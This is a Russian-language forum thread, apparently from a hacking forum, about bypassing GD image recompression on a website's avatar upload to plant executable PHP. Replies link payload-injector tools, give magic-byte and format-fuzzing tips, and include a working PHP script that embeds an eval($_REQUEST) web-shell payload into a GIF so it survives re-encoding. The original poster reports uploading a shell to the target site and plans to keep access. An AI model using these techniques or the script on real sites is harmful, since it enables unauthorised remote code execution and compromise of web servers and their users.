Всем привет. Есть сайт. Позволяет загрузить файл на аватар с любым расширением и сохраняет его под ним же. Но есть проблема. После загрузки происходит пережатие с помощью, как я думаю, GD либы и весь встроеный код, хоть в exif, хоть где идет по... Может кто знает, возможно ли обойти подобную защиту? Перечитал кучу статей в сети - ничего не помогает. Надеюсь на вас. Заранее спасибо.
https://forum.antichat.com/threads/468084/ https://github.com/dlegs/php-jpeg-injector https://forum.antichat.com/threads/469284/ https://github.com/huntergregal/PNG-IDAT-Payload-Generator
Спасибо тебе за информацию. К сожалению, пока все попытки неудачны, но я буду пытаться. Вот этот метод https://github.com/dlegs/php-jpeg-injector/blob/master/gd-jpeg.py при загрузке сгенерированной им картинкой с расширением test.jpeg.php и последующим обращением начал выдавать 500. Думаю это из-за того, что внутри есть символы <?. А после них все стерто. Может мне как-то удасться оставить больше php кода. Будем пытаться =)
преобразование происходит если парсер видит нужные секции в файле, но если секций нет то возможно и удасться проскачить преобразование? попробуй через хексредактор вставить магические байты в начало и дальше пхп код в открытом виде. вставка в hexeditor банальная, открыл файл и руками перебил первые байты на 47 49 46 38 37 61 . Ну и как вариант пофазить разные форматы, может быть что допустимый список форматов больше чем функционал пережималки. после загрузки скачай файл и проверь hexeditor как он выглядит внутри. Да и вообще чуть развернутее нужно писать посты если хочешь получить помощь а то в двух словах как ты написал "пробовал не выходит" мало дает информации. Так же интересно какой код ты инжектишь, возможно он слишком длинный или содержит так сказать bad chars
сгенерируй файл и залей куда нибудь чтоб мы могли посмотреть его байты, но заливай есесно не на фотохостинг а в архиве на файлообменник. p.s. еще вариант https://www.cyberpunk.rs/pixload-image-payload-creating-and-injecting-tools
Пятисотить может из-за ошибки парсера интерпретатора, либо по причине отсутствия/блокировки функции в обрабатываемом коде. На вход этим генераторам лучше подавать уже обработанное, на стороне целевого сервера, изображение. Таким образом, избежим разницу между версиями графических библиотек, так как с версиями может многое меняться, сжатие, алгоритмы, значения по умолчанию и тому подобное. Если одна встраиваемая нагрузка не стреляет, есть смысл разбавить её чем-то, либо как-то видоизменить. При отрицательных результатах, пробовать изображения другого размера, и так по кругу. Ещё можно поробовать GIF формат. Сходу чего-то умного в гугле не нашёл, но можно успешно заинжектить моим стареньким скриптом: PHP: <?phpif(!isset($argv[1])) die('php '.$_SERVER['SCRIPT_NAME'].' file.gif');$file = file_get_contents($argv[1]);$payload = '<?php eval($_REQUEST[rce]); ?>';$buffer = '';for($i = 0; $i <= strlen($file); $i++){ $tmp = '/tmp/'.$i.'.gif'; if(@imagegif(imagecreatefromstring($buffer.$payload.str_replace($buffer, '', $file)), $tmp)){ if(!strpos(file_get_contents($tmp), $payload)) unlink($tmp); else die($tmp." OK\n"); } $buffer .= $file[$i]; echo $i."\n"; }?> Входной файл должен быть около 5kb. Также, совсем забыл забыл упомянуть, если происходит ресайз, кроп или что-то подобное, то вышеупомянутые методы работать не будут. Поэтому есть смысл, более чем внимательно, изучить разницу входной и выходной картинки с атакуемого хоста.
Коллеги. Очень благодарен всем за помощь и советы. Получилось! Этапы: 1) Создал .jpeg 2) Залил на сервер. 3) Скачал ту, которая сжалась сервером. (Как и ожидалось кропалось по центру с качеством 50 GDшкой) 4) Потом скормил сжатую вот этому товарищу https://github.com/dlegs/php-jpeg-injector 5) Залил на сервер. Крупный шелл не лился, а коротенький легко. Теперь придумаю, как закрепиться и все. Спасибо еще раз!